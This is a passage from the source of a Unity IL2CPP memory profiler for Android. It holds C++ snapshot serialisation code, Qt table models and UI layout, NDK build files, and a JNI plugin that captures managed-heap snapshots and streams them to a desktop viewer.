gcHandleIndex; 78 | uint32_t size; 79 | uint32_t instanceId; 80 | uint32_t classId; 81 | uint32_t referencedNativeObjectIndicesCount; 82 | uint32_t* referencedNativeObjectIndices; 83 | }; 84 | 85 | struct Il2CppGCHandles 86 | { 87 | uint32_t trackedObjectCount; 88 | uint64_t* pointersToObjects; 89 | }; 90 | 91 | struct Il2CppRuntimeInformation 92 | { 93 | uint32_t pointerSize; 94 | uint32_t objectHeaderSize; 95 | uint32_t arrayHeaderSize; 96 | uint32_t arrayBoundsOffsetInHeader; 97 | uint32_t arraySizeOffsetInHeader; 98 | uint32_t allocationGranularity; 99 | }; 100 | 101 | struct Il2CppManagedMemorySnapshot 102 | { 103 | Il2CppManagedHeap heap; 104 | Il2CppStacks stacks; 105 | Il2CppMetadataSnapshot metadata; 106 | Il2CppGCHandles gcHandles; 107 | Il2CppRuntimeInformation runtimeInformation; 108 | void* additionalUserInformation; 109 | }; 110 | 111 | // read big-endian data to little-endian 112 | class bufferreader { 113 | public: 114 | using size_type = size_t; 115 | 116 | bufferreader(const char* data, size_type size); 117 | 118 | bool read(char* data, size_type size); 119 | bool atEnd() const; 120 | 121 | bufferreader& operator>> (std::uint32_t& value); 122 | bufferreader& operator>> (std::uint64_t& value); 123 | bufferreader& operator>> (char*& value); 124 | bufferreader& operator>> (bool& value); 125 | 126 | private: 127 | const char* data_; 128 | size_type size_; 129 | size_type index_ = 0; 130 | }; 131 | 132 | inline bufferreader::bufferreader(const char* data, size_type size) : data_(data), size_(size) {} 133 | 134 | inline bool bufferreader::atEnd() const { 135 | return index_ >= size_; 136 | } 137 | 138 | inline bool bufferreader::read(char* data, size_type size) { 139 | if (index_ + size > size_) 140 | return false; 141 | memcpy(data, &data_[index_], size); 142 | index_ += size; 143 | return true; 144 | } 145 | 146 | inline bufferreader& bufferreader::operator>> (std::uint32_t& value) { 147 | if (index_ + 4 <= size_) { 148 | memcpy(reinterpret_cast(&value), &data_[index_], 4); 149 | value = qbswap(value); 150 | index_ += 4; 151 | } 152 | return *this; 153 | } 154 | 155 | inline bufferreader& bufferreader::operator>> (std::uint64_t& value) { 156 | if (index_ + 8 <= size_) { 157 | memcpy(reinterpret_cast(&value), &data_[index_], 8); 158 | value = qbswap(value); 159 | index_ += 8; 160 | } 161 | return *this; 162 | } 163 | 164 | inline bufferreader& bufferreader::operator>> (char*& value) { 165 | std::uint32_t len; 166 | *this >> len; 167 | if (index_ + len <= size_ && len > 0) { 168 | value = new char[len]; 169 | memcpy(value, &data_[index_], len); 170 | index_ += len; 171 | } 172 | return *this; 173 | } 174 | 175 | inline bufferreader& bufferreader::operator>> (bool& value) { 176 | if (index_ + 1 <= size_) { 177 | value = data_[index_]; 178 | index_++; 179 | } 180 | return *this; 181 | } 182 | 183 | #endif 184 | -------------------------------------------------------------------------------- /include/umpmodel.h: -------------------------------------------------------------------------------- 1 | #ifndef UMPMODEL_H 2 | #define UMPMODEL_H 3 | 4 | #include "umpcrawler.h" 5 | 6 | 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | struct UMPSnapshotType { 14 | QString name_; 15 | TypeDescription* type_; 16 | std::vector objects_; 17 | std::int64_t size_ = 0; 18 | }; 19 | 20 | QString sizeToString(qint64 size); 21 | 22 | class UMPThingInMemoryModel : public QAbstractTableModel { 23 | public: 24 | UMPThingInMemoryModel(QObject* parent); 25 | int rowCount(const QModelIndex &parent = QModelIndex()) const override; 26 | int columnCount(const QModelIndex &parent = QModelIndex()) const override; 27 | QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const override; 28 | QVariant headerData(int section, Qt::Orientation orientation, int role) const override; 29 | void reset(const UMPSnapshotType& snapshotType, bool isDiff); 30 | ThingInMemory* thingAt(int row) const { return objects_[row]; } 31 | int indexOf(const ThingInMemory* thing) const; 32 | private: 33 | QVector objects_; 34 | bool isDiff_ = false; 35 | }; 36 | 37 | class UMPTypeGroupModel : public QAbstractTableModel { 38 | public: 39 | UMPTypeGroupModel(CrawledMemorySnapshot* snapshot, QObject* parent); 40 | ~UMPTypeGroupModel() override; 41 | int rowCount(const QModelIndex &parent = QModelIndex()) const override; 42 | int columnCount(const QModelIndex &parent = QModelIndex()) const override; 43 | QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const override; 44 | QVariant headerData(int section, Qt::Orientation orientation, int role) const override; 45 | const UMPSnapshotType& getSubModel(int row) const { 46 | return types_[row]; 47 | } 48 | const CrawledMemorySnapshot* getSnapshot() const { 49 | return snapshot_; 50 | } 51 | std::int64_t getTotalSize() const { 52 | return totalSize_; 53 | } 54 | private: 55 | QVector types_; 56 | CrawledMemorySnapshot* snapshot_; 57 | std::int64_t totalSize_; 58 | }; 59 | 60 | class UMPTableProxyModel : public QSortFilterProxyModel { 61 | public: 62 | UMPTableProxyModel(QAbstractItemModel* srcModel, QObject *parent = nullptr) 63 | : QSortFilterProxyModel(parent) { setSourceModel(srcModel); } 64 | protected: 65 | bool lessThan(const QModelIndex &left, const QModelIndex &right) const override { 66 | auto leftData = sourceModel()->data(left, Qt::UserRole); 67 | auto rightData = sourceModel()->data(right, Qt::UserRole); 68 | if (leftData.type() == QVariant::String) 69 | return leftData.toString() < rightData.toString(); 70 | else if (leftData.type() == QVariant::LongLong) 71 | return leftData.toLongLong() < rightData.toLongLong(); 72 | else 73 | return leftData.toInt() < rightData.toInt(); 74 | } 75 | }; 76 | 77 | #endif // UMPMODEL_H 78 | -------------------------------------------------------------------------------- /mainwindow.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | MainWindow 4 | 5 | 6 | 7 | 0 8 | 0 9 | 1024 10 | 580 11 | 12 | 13 | 14 | 15 | 1024 16 | 580 17 | 18 | 19 | 20 | UnityMemPerf 21 | 22 | 23 | 24 | 25 | 2 26 | 27 | 28 | 2 29 | 30 | 31 | 2 32 | 33 | 34 | 2 35 | 36 | 37 | 2 38 | 39 | 40 | 41 | 42 | Qt::Vertical 43 | 44 | 45 | false 46 | 47 | 48 | 49 | 50 | 0 51 | 0 52 | 53 | 54 | 55 | 56 | 0 57 | 360 58 | 59 | 60 | 61 | 62 | 2 63 | 64 | 65 | 2 66 | 67 | 68 | 2 69 | 70 | 71 | 2 72 | 73 | 74 | 2 75 | 76 | 77 | 78 | 79 | QTabWidget::Triangular 80 | 81 | 82 | Qt::ElideLeft 83 | 84 | 85 | true 86 | 87 | 88 | true 89 | 90 | 91 | true 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | true 100 | 101 | 102 | 103 | 0 104 | 0 105 | 106 | 107 | 108 | 109 | 0 110 | 130 111 | 112 | 113 | 114 | 0 115 | 116 | 117 | 118 | 119 | 0 120 | 0 121 | 122 | 123 | 124 | 125 | 0 126 | 0 127 | 128 | 129 | 130 | DashBoard 131 | 132 | 133 | 134 | 2 135 | 136 | 137 | 2 138 | 139 | 140 | 2 141 | 142 | 143 | 2 144 | 145 | 146 | 2 147 | 148 | 149 | 150 | 151 | true 152 | 153 | 154 | 155 | 0 156 | 0 157 | 158 | 159 | 160 | 161 | 260 162 | 0 163 | 164 | 165 | 166 | 167 | 16777215 168 | 16777215 169 | 170 | 171 | 172 | 173 | 174 | 10 175 | 70 176 | 111 177 | 20 178 | 179 | 180 | 181 | com.company.app 182 | 183 | 184 | 185 | 186 | 187 | 170 188 | 70 189 | 80 190 | 20 191 | 192 | 193 | 194 | Launch 195 | 196 | 197 | 198 | 199 | 200 | 170 201 | 10 202 | 81 203 | 20 204 | 205 | 206 | 207 | Select the root path of Android SDK 208 | 209 | 210 | Select SDK 211 | 212 | 213 | 214 | 215 | 216 | 10 217 | 10 218 | 151 219 | 20 220 | 221 | 222 | 223 | true 224 | 225 | 226 | path to android sdk 227 | 228 | 229 | 230 | 231 | 232 | 130 233 | 70 234 | 31 235 | 19 236 | 237 | 238 | 239 | Select Target Application 240 | 241 | 242 | ... 243 | 244 | 245 | QToolButton::DelayedPopup 246 | 247 | 248 | false 249 | 250 | 251 | Qt::NoArrow 252 | 253 | 254 | 255 | 256 | 257 | 10 258 | 40 259 | 151 260 | 22 261 | 262 | 263 | 264 | 265 | armeabi-v7a 266 | 267 | 268 | 269 | 270 | arm64-v8a 271 | 272 | 273 | 274 | 275 | 276 | 277 | 170 278 | 40 279 | 81 280 | 20 281 | 282 | 283 | 284 | Select the path of python 2.7 285 | 286 | 287 | Python2.7 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 0 297 | 0 298 | 299 | 300 | 301 | 302 | 0 303 | 0 304 | 305 | 306 | 307 | false 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 0 322 | 0 323 | 1024 324 | 17 325 | 326 | 327 | 328 | 329 | File 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | Help 340 | 341 | 342 | 343 | 344 | 345 | Tools 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | toolBar 361 | 362 | 363 | false 364 | 365 | 366 | Qt::Horizontal 367 | 368 | 369 | 370 | 20 371 | 20 372 | 373 | 374 | 375 | false 376 | 377 | 378 | TopToolBarArea 379 | 380 | 381 | false 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | :/toolbutton/btn_open.png:/toolbutton/btn_open.png 393 | 394 | 395 | Open 396 | 397 | 398 | Ctrl+O 399 | 400 | 401 | 402 | 403 | 404 | :/toolbutton/btn_save.png:/toolbutton/btn_save.png 405 | 406 | 407 | Save 408 | 409 | 410 | Ctrl+S 411 | 412 | 413 | 414 | 415 | Exit 416 | 417 | 418 | Ctrl+Q 419 | 420 | 421 | 422 | 423 | About 424 | 425 | 426 | 427 | 428 | false 429 | 430 | 431 | 432 | :/toolbutton/btn_capture.png:/toolbutton/btn_capture.png 433 | 434 | 435 | Capture Snapshot 436 | 437 | 438 | 439 | 440 | false 441 | 442 | 443 | 444 | :/toolbutton/btn_previous.png:/toolbutton/btn_previous.png 445 | 446 | 447 | Jump Back 448 | 449 | 450 | Ctrl+, 451 | 452 | 453 | 454 | 455 | false 456 | 457 | 458 | 459 | :/toolbutton/btn_next.png:/toolbutton/btn_next.png 460 | 461 | 462 | Jump Forward 463 | 464 | 465 | Ctrl+. 466 | 467 | 468 | 469 | 470 | Mark First 471 | 472 | 473 | 474 | 475 | Mark Second 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | -------------------------------------------------------------------------------- /plugins/Android/jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_MODULE := libumemperf 6 | LOCAL_C_INCLUDES := $(LOCAL_PATH) 7 | LOCAL_CFLAGS := -Wall -Wextra -Werror -fvisibility=hidden -std=c11 8 | LOCAL_CXXFLAGS := -Wall -Wextra -Werror -fvisibility=hidden -std=c++11 9 | LOCAL_SRC_FILES := umpmain.cpp \ 10 | umpserver.cpp \ 11 | umputils.cpp 12 | LOCAL_LDLIBS := -llog -latomic -landroid 13 | 14 | include $(BUILD_SHARED_LIBRARY) 15 | -------------------------------------------------------------------------------- /plugins/Android/jni/Application.mk: -------------------------------------------------------------------------------- 1 | APP_OPTIM := release 2 | APP_ABI := armeabi-v7a arm64-v8a 3 | APP_STL := gnustl_static 4 | APP_PLATFORM := android-14 -------------------------------------------------------------------------------- /plugins/Android/jni/buffer.h: -------------------------------------------------------------------------------- 1 | #ifndef BUFFER_HPP_INCLUDED 2 | #define BUFFER_HPP_INCLUDED 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif // __cplusplus 7 | 8 | // 9 | // buffer.hpp 10 | // 11 | // Copyright (c) 2011 Boris Kolpackov 12 | // 13 | // Distributed under the Boost Software License, Version 1.0. (See 14 | // accompanying file LICENSE_1_0.txt or copy at 15 | // http://www.boost.org/LICENSE_1_0.txt) 16 | // 17 | // Simple memory buffer abstraction. Version 1.0.0. 18 | // 19 | 20 | #include // size_t 21 | #include // memcpy, memcmp, memset, memchr 22 | #include 23 | 24 | namespace io { 25 | 26 | class buffer 27 | { 28 | public: 29 | using size_type = size_t; 30 | 31 | static const size_type npos = static_cast (-1); 32 | 33 | ~buffer (); 34 | 35 | explicit buffer (size_type size = 0); 36 | buffer (size_type size, size_type capacity); 37 | buffer (const void* data, size_type size); 38 | buffer (const void* data, size_type size, size_type capacity); 39 | buffer (void* data, size_type size, size_type capacity, 40 | bool assume_ownership); 41 | 42 | buffer (const buffer&); 43 | buffer& operator= (const buffer&); 44 | 45 | void swap (buffer&); 46 | char* detach (); 47 | 48 | void assign (const void* data, size_type size); 49 | void assign (void* data, size_type size, size_type capacity, 50 | bool assume_ownership); 51 | void append (const buffer&); 52 | void append (const void* data, size_type size); 53 | void append (size_type size); 54 | void fill (char value = 0); 55 | 56 | size_type size () const; 57 | bool size (size_type); 58 | size_type capacity () const; 59 | bool capacity (size_type); 60 | bool empty () const; 61 | void clear (); 62 | 63 | char* data (); 64 | const char* data () const; 65 | 66 | char& operator[] (size_type); 67 | char operator[] (size_type) const; 68 | char& at (size_type); 69 | char at (size_type) const; 70 | 71 | size_type find (char, size_type pos = 0) const; 72 | size_type rfind (char, size_type pos = npos) const; 73 | 74 | private: 75 | char* data_; 76 | size_type size_; 77 | size_type capacity_; 78 | bool free_; 79 | }; 80 | 81 | bool operator== (const buffer&, const buffer&); 82 | bool operator!= (const buffer&, const buffer&); 83 | 84 | // 85 | // Implementation. 86 | // 87 | inline buffer::~buffer () 88 | { 89 | if (free_) 90 | delete[] data_; 91 | } 92 | 93 | inline buffer::buffer (size_type s) 94 | : free_ (true) 95 | { 96 | data_ = (s != 0 ? new char[s] : 0); 97 | size_ = capacity_ = s; 98 | } 99 | 100 | inline buffer::buffer (size_type s, size_type c) 101 | : free_ (true) 102 | { 103 | assert(s <= c); 104 | // if (s > c) 105 | // throw invalid_argument ("size greater than capacity"); 106 | 107 | data_ = (c != 0 ? new char[c] : 0); 108 | size_ = s; 109 | capacity_ = c; 110 | } 111 | 112 | inline buffer::buffer (const void* d, size_type s) 113 | : free_ (true) 114 | { 115 | if (s != 0) 116 | { 117 | data_ = new char[s]; 118 | memcpy (data_, d, s); 119 | } 120 | else 121 | data_ = 0; 122 | 123 | size_ = capacity_ = s; 124 | } 125 | 126 | inline buffer::buffer (const void* d, size_type s, size_type c) 127 | : free_ (true) 128 | { 129 | assert(s <= c); 130 | // if (s > c) 131 | // throw invalid_argument ("size greater than capacity"); 132 | 133 | if (c != 0) 134 | { 135 | data_ = new char[c]; 136 | 137 | if (s != 0) 138 | memcpy (data_, d, s); 139 | } 140 | else 141 | data_ = 0; 142 | 143 | size_ = s; 144 | capacity_ = c; 145 | } 146 | 147 | inline buffer::buffer (void* d, size_type s, size_type c, bool own) 148 | : data_ (static_cast (d)), size_ (s), capacity_ (c), free_ (own) 149 | { 150 | assert(s <= c); 151 | // if (s > c) 152 | // throw invalid_argument ("size greater than capacity"); 153 | } 154 | 155 | inline buffer::buffer (const buffer& x) 156 | : free_ (true) 157 | { 158 | if (x.capacity_ != 0) 159 | { 160 | data_ = new char[x.capacity_]; 161 | 162 | if (x.size_ != 0) 163 | memcpy (data_, x.data_, x.size_); 164 | } 165 | else 166 | data_ = 0; 167 | 168 | size_ = x.size_; 169 | capacity_ = x.capacity_; 170 | } 171 | 172 | inline buffer& buffer::operator= (const buffer& x) 173 | { 174 | if (&x != this) 175 | { 176 | if (x.size_ > capacity_) 177 | { 178 | if (free_) 179 | delete[] data_; 180 | 181 | data_ = new char[x.capacity_]; 182 | capacity_ = x.capacity_; 183 | free_ = true; 184 | } 185 | 186 | if (x.size_ != 0) 187 | memcpy (data_, x.data_, x.size_); 188 | 189 | size_ = x.size_; 190 | } 191 | 192 | return *this; 193 | } 194 | 195 | inline void buffer::swap (buffer& x) 196 | { 197 | char* d (x.data_); 198 | size_type s (x.size_); 199 | size_type c (x.capacity_); 200 | bool f (x.free_); 201 | 202 | x.data_ = data_; 203 | x.size_ = size_; 204 | x.capacity_ = capacity_; 205 | x.free_ = free_; 206 | 207 | data_ = d; 208 | size_ = s; 209 | capacity_ = c; 210 | free_ = f; 211 | } 212 | 213 | inline char* buffer::detach () 214 | { 215 | char* r (data_); 216 | 217 | data_ = 0; 218 | size_ = 0; 219 | capacity_ = 0; 220 | 221 | return r; 222 | } 223 | 224 | inline void buffer::assign (const void* d, size_type s) 225 | { 226 | if (s > capacity_) 227 | { 228 | if (free_) 229 | delete[] data_; 230 | 231 | data_ = new char[s]; 232 | capacity_ = s; 233 | free_ = true; 234 | } 235 | 236 | if (s != 0) 237 | memcpy (data_, d, s); 238 | 239 | size_ = s; 240 | } 241 | 242 | inline void buffer::assign (void* d, size_type s, size_type c, bool own) 243 | { 244 | if (free_) 245 | delete[] data_; 246 | 247 | data_ = static_cast (d); 248 | size_ = s; 249 | capacity_ = c; 250 | free_ = own; 251 | } 252 | 253 | inline void buffer::append (const buffer& b) 254 | { 255 | append (b.data (), b.size ()); 256 | } 257 | 258 | inline void buffer::append (const void* d, size_type s) 259 | { 260 | if (s != 0) 261 | { 262 | size_type ns (size_ + s); 263 | 264 | if (capacity_ < ns) 265 | capacity (ns); 266 | 267 | memcpy (data_ + size_, d, s); 268 | size_ = ns; 269 | } 270 | } 271 | 272 | inline void buffer::append (size_type s) 273 | { 274 | if (s != 0) 275 | { 276 | size_type ns (size_ + s); 277 | 278 | if (capacity_ < ns) 279 | capacity (ns); 280 | 281 | size_ = ns; 282 | } 283 | } 284 | 285 | inline void buffer::fill (char v) 286 | { 287 | if (size_ > 0) 288 | memset (data_, v, size_); 289 | } 290 | 291 | inline buffer::size_type buffer::size () const 292 | { 293 | return size_; 294 | } 295 | 296 | inline bool buffer::size (size_type s) 297 | { 298 | bool r (false); 299 | 300 | if (capacity_ < s) 301 | r = capacity (s); 302 | 303 | size_ = s; 304 | return r; 305 | } 306 | 307 | inline buffer::size_type buffer::capacity () const 308 | { 309 | return capacity_; 310 | } 311 | 312 | inline bool buffer::capacity (size_type c) 313 | { 314 | // Ignore capacity decrease requests. 315 | // 316 | if (capacity_ >= c) 317 | return false; 318 | 319 | char* d (new char[c]); 320 | 321 | if (size_ != 0) 322 | memcpy (d, data_, size_); 323 | 324 | if (free_) 325 | delete[] data_; 326 | 327 | data_ = d; 328 | capacity_ = c; 329 | free_ = true; 330 | 331 | return true; 332 | } 333 | 334 | inline bool buffer::empty () const 335 | { 336 | return size_ == 0; 337 | } 338 | 339 | inline void buffer::clear () 340 | { 341 | size_ = 0; 342 | } 343 | 344 | inline char* buffer::data () 345 | { 346 | return data_; 347 | } 348 | 349 | inline const char* buffer::data () const 350 | { 351 | return data_; 352 | } 353 | 354 | inline char& buffer::operator[] (size_type i) 355 | { 356 | return data_[i]; 357 | } 358 | 359 | inline char buffer::operator[] (size_type i) const 360 | { 361 | return data_[i]; 362 | } 363 | 364 | inline char& buffer::at (size_type i) 365 | { 366 | assert(i < size_); 367 | // if (i >= size_) 368 | // throw out_of_range ("index out of range"); 369 | 370 | return data_[i]; 371 | } 372 | 373 | inline char buffer::at (size_type i) const 374 | { 375 | assert(i < size_); 376 | // if (i >= size_) 377 | // throw out_of_range ("index out of range"); 378 | 379 | return data_[i]; 380 | } 381 | 382 | inline buffer::size_type buffer::find (char v, size_type pos) const 383 | { 384 | if (size_ == 0 || pos >= size_) 385 | return npos; 386 | 387 | char* p (static_cast (memchr (data_ + pos, v, size_ - pos))); 388 | return p != 0 ? static_cast (p - data_) : npos; 389 | } 390 | 391 | inline buffer::size_type buffer::rfind (char v, size_type pos) const 392 | { 393 | // memrchr() is not standard. 394 | // 395 | if (size_ != 0) 396 | { 397 | size_type n (size_); 398 | 399 | if (--n > pos) 400 | n = pos; 401 | 402 | for (++n; n-- != 0; ) 403 | if (data_[n] == v) 404 | return n; 405 | } 406 | 407 | return npos; 408 | } 409 | 410 | inline bool operator== (const buffer& a, const buffer& b) 411 | { 412 | return a.size () == b.size () && 413 | memcmp (a.data (), b.data (), a.size ()) == 0; 414 | } 415 | 416 | inline bool operator!= (const buffer& a, const buffer& b) 417 | { 418 | return !(a == b); 419 | } 420 | 421 | // write little-endian data to big-endian 422 | class bufferwriter { 423 | public: 424 | using size_type = size_t; 425 | 426 | bufferwriter(buffer& data) : data_(data) {}; 427 | 428 | void append(const void* data, size_t size); 429 | 430 | bufferwriter& operator<< (std::uint32_t value); 431 | bufferwriter& operator<< (std::uint64_t value); 432 | bufferwriter& operator<< (const char* value); 433 | bufferwriter& operator<< (bool value); 434 | 435 | private: 436 | buffer& data_; 437 | }; 438 | 439 | void bufferwriter::append(const void* data, size_t size) { 440 | data_.append(data, size); 441 | } 442 | 443 | bufferwriter& bufferwriter::operator<< (std::uint32_t value) { 444 | auto index = data_.size(); 445 | data_.append(4); 446 | data_[index + 3] = value & 0xFF; 447 | data_[index + 2] = (value >> 8) & 0xFF; 448 | data_[index + 1] = (value >> 16) & 0xFF; 449 | data_[index + 0] = (value >> 24) & 0xFF; 450 | return *this; 451 | } 452 | 453 | bufferwriter& bufferwriter::operator<< (std::uint64_t value) { 454 | auto index = data_.size(); 455 | data_.append(8); 456 | data_[index + 7] = value & 0xFF; 457 | data_[index + 6] = (value >> 8) & 0xFF; 458 | data_[index + 5] = (value >> 16) & 0xFF; 459 | data_[index + 4] = (value >> 24) & 0xFF; 460 | data_[index + 3] = (value >> 32) & 0xFF; 461 | data_[index + 2] = (value >> 40) & 0xFF; 462 | data_[index + 1] = (value >> 48) & 0xFF; 463 | data_[index + 0] = (value >> 56) & 0xFF; 464 | return *this; 465 | } 466 | 467 | bufferwriter& bufferwriter::operator<< (const char* value) { 468 | auto index = data_.size(); 469 | auto len = static_cast(strlen(value) + 1); 470 | *this << len; 471 | data_.append(len); 472 | memcpy(&data_[index + 4], value, len); 473 | return *this; 474 | } 475 | 476 | bufferwriter& bufferwriter::operator<< (bool value) { 477 | auto index = data_.size(); 478 | data_.append(1); 479 | data_[index] = static_cast(value); 480 | return *this; 481 | } 482 | 483 | } 484 | 485 | #ifdef __cplusplus 486 | } 487 | #endif // __cplusplus 488 | 489 | #endif // BUFFER_HPP_INCLUDED 490 | -------------------------------------------------------------------------------- /plugins/Android/jni/umpmain.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif // __cplusplus 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include "buffer.h" 23 | #include "umpmemory.h" 24 | #include "umpserver.h" 25 | #include "umputils.h" 26 | 27 | Il2CppManagedMemorySnapshot* (*umpCaptureMemorySnapshot_)(void); 28 | void (*umpFreeCapturedMemorySnapshot_)(Il2CppManagedMemorySnapshot*); 29 | 30 | ALooper* mainThreadLooper_; 31 | int messagePipe_[2]; 32 | io::buffer buffer((size_t)0, 256 * 1024 * 1024); 33 | 34 | int umpMainThreadLooperCallback(int fd, int, void*) { 35 | char msg; 36 | read(fd, &msg, 1); 37 | if (umpCaptureMemorySnapshot_ != nullptr && umpFreeCapturedMemorySnapshot_ != nullptr) { 38 | auto snapshot = umpCaptureMemorySnapshot_(); 39 | UMPLOGI("Snapshot! heaps: %i, stacks: %i, types: %i, gcHandles: %i, %u", 40 | snapshot->heap.sectionCount, snapshot->stacks.stackCount, snapshot->metadata.typeCount, snapshot->gcHandles.trackedObjectCount, kSnapshotMagicBytes); 41 | io::bufferwriter writer(buffer); 42 | writer << kSnapshotMagicBytes << kSnapshotFormatVersion; 43 | writer << kSnapshotHeapMagicBytes << snapshot->heap.sectionCount; 44 | for (std::uint32_t i = 0; i < snapshot->heap.sectionCount; i++) { 45 | auto& section = snapshot->heap.sections[i]; 46 | writer << section.sectionStartAddress << section.sectionSize; 47 | writer.append(section.sectionBytes, section.sectionSize); 48 | } 49 | writer << kSnapshotStacksMagicBytes << snapshot->stacks.stackCount; 50 | for (std::uint32_t i = 0; i < snapshot->stacks.stackCount; i++) { 51 | auto& stack = snapshot->stacks.stacks[i]; 52 | writer << stack.sectionStartAddress << stack.sectionSize; 53 | writer.append(&stack.sectionBytes, stack.sectionSize); 54 | } 55 | writer << kSnapshotMetadataMagicBytes << snapshot->metadata.typeCount; 56 | for (std::uint32_t i = 0; i < snapshot->metadata.typeCount; i++) { 57 | auto& type = snapshot->metadata.types[i]; 58 | writer << static_cast(type.flags) << type.baseOrElementTypeIndex; 59 | if ((type.flags & Il2CppMetadataTypeFlags::kArray) == 0) { 60 | writer << type.fieldCount; 61 | for (std::uint32_t j = 0; j < type.fieldCount; j++) { 62 | auto& field = type.fields[j]; 63 | writer << field.offset << field.typeIndex << field.name << field.isStatic; 64 | } 65 | writer << type.staticsSize; 66 | writer.append(type.statics, type.staticsSize); 67 | } 68 | writer << type.name << type.assemblyName << type.typeInfoAddress << type.size; 69 | } 70 | writer << kSnapshotGCHandlesMagicBytes << snapshot->gcHandles.trackedObjectCount; 71 | for (std::uint32_t i = 0; i < snapshot->gcHandles.trackedObjectCount; i++) { 72 | writer << snapshot->gcHandles.pointersToObjects[i]; 73 | } 74 | writer << kSnapshotRuntimeInfoMagicBytes; 75 | writer << snapshot->runtimeInformation.pointerSize << snapshot->runtimeInformation.objectHeaderSize << 76 | snapshot->runtimeInformation.arrayHeaderSize << snapshot->runtimeInformation.arrayBoundsOffsetInHeader << 77 | snapshot->runtimeInformation.arraySizeOffsetInHeader << snapshot->runtimeInformation.allocationGranularity; 78 | writer << kSnapshotTailMagicBytes; 79 | umpSend(buffer.data(), buffer.size()); // blocking 80 | buffer.clear(); 81 | umpFreeCapturedMemorySnapshot_(snapshot); 82 | } 83 | return 1; // continue listening for events 84 | } 85 | 86 | void umpOnRecvMessage(unsigned int type, const char* data, unsigned int size) { 87 | (void)data; 88 | (void)size; 89 | if (type == UMPMessageType::CAPTURE_SNAPSHOT) { 90 | char empty = 255; 91 | write(messagePipe_[1], &empty, 1); 92 | } 93 | } 94 | 95 | JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) { 96 | UMPLOGI("JNI_OnLoad"); 97 | JNIEnv* env; 98 | if (vm->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK) { 99 | return JNI_ERR; // JNI version not supported. 100 | } 101 | mainThreadLooper_ = ALooper_forThread(); // get looper for this thread 102 | ALooper_acquire(mainThreadLooper_); // add reference to keep object alive 103 | pipe(messagePipe_); //create send-receive pipe 104 | // listen for pipe read end, if there is something to read 105 | // - notify via provided callback on main thread 106 | ALooper_addFd(mainThreadLooper_, messagePipe_[0], 107 | 0, ALOOPER_EVENT_INPUT, umpMainThreadLooperCallback, nullptr); 108 | std::thread([]() { 109 | while (true) { 110 | std::string il2cppPath; 111 | if (umpIsLibraryLoaded("libil2cpp", il2cppPath)) { 112 | char *error; 113 | void *handle = dlopen(il2cppPath.c_str(), RTLD_LAZY); 114 | if (handle) { 115 | dlerror(); 116 | *(void **) (&umpCaptureMemorySnapshot_) = dlsym(handle, "il2cpp_capture_memory_snapshot"); 117 | if ((error = dlerror()) != NULL) { 118 | UMPLOGE("Error dlsym il2cpp_capture_memory_snapshot: %s", error); 119 | } 120 | dlerror(); 121 | *(void **) (&umpFreeCapturedMemorySnapshot_) = dlsym(handle, "il2cpp_free_captured_memory_snapshot"); 122 | if ((error = dlerror()) != NULL) { 123 | UMPLOGE("Error dlsym il2cpp_free_captured_memory_snapshot: %s", error); 124 | } 125 | } else { 126 | UMPLOGE("Error dlopen: %s", dlerror()); 127 | } 128 | break; 129 | } 130 | std::this_thread::sleep_for(std::chrono::milliseconds(1000)); 131 | } 132 | }).detach(); 133 | auto ecode = umpServerStart(7100); 134 | umpRecv(umpOnRecvMessage); 135 | UMPLOGI("UMP server start status %i", ecode); 136 | return JNI_VERSION_1_6; 137 | } 138 | 139 | #ifdef __cplusplus 140 | } 141 | #endif // __cplusplus -------------------------------------------------------------------------------- /plugins/Android/jni/umpmemory.h: -------------------------------------------------------------------------------- 1 | #ifndef UMPMEMORY_H 2 | #define UMPMEMORY_H 3 | 4 | const uint32_t kSnapshotFormatVersion = 4; 5 | const uint32_t kSnapshotMagicBytes = 0xFABCED01; 6 | const uint32_t kSnapshotHeapMagicBytes = 0x9111DAAA; 7 | const uint32_t kSnapshotStacksMagicBytes = 0x147358AA; 8 | const uint32_t kSnapshotMetadataMagicBytes = 0x4891AEFD; 9 | const uint32_t kSnapshotGCHandlesMagicBytes = 0x3456132C; 10 | // const uint32_t kSnapshotNativeTypesMagicBytes = 0x78514753; 11 | // const uint32_t kSnapshotNativeObjectsMagicBytes = 0x6173FAFE; 12 | const uint32_t kSnapshotRuntimeInfoMagicBytes = 0x0183EFAC; 13 | const uint32_t kSnapshotTailMagicBytes = 0x865EEAAF; 14 | 15 | struct Il2CppMetadataField 16 | { 17 | uint32_t offset; 18 | uint32_t typeIndex; 19 | const char* name; 20 | bool isStatic; 21 | }; 22 | 23 | enum Il2CppMetadataTypeFlags 24 | { 25 | kNone = 0, 26 | kValueType = 1 << 0, 27 | kArray = 1 << 1, 28 | kArrayRankMask = 0xFFFF0000 29 | }; 30 | 31 | struct Il2CppMetadataType 32 | { 33 | Il2CppMetadataTypeFlags flags; // If it's an array, rank is encoded in the upper 2 bytes 34 | Il2CppMetadataField* fields; 35 | uint32_t fieldCount; 36 | uint32_t staticsSize; 37 | uint8_t* statics; 38 | uint32_t baseOrElementTypeIndex; 39 | char* name; 40 | const char* assemblyName; 41 | uint64_t typeInfoAddress; 42 | uint32_t size; 43 | }; 44 | 45 | struct 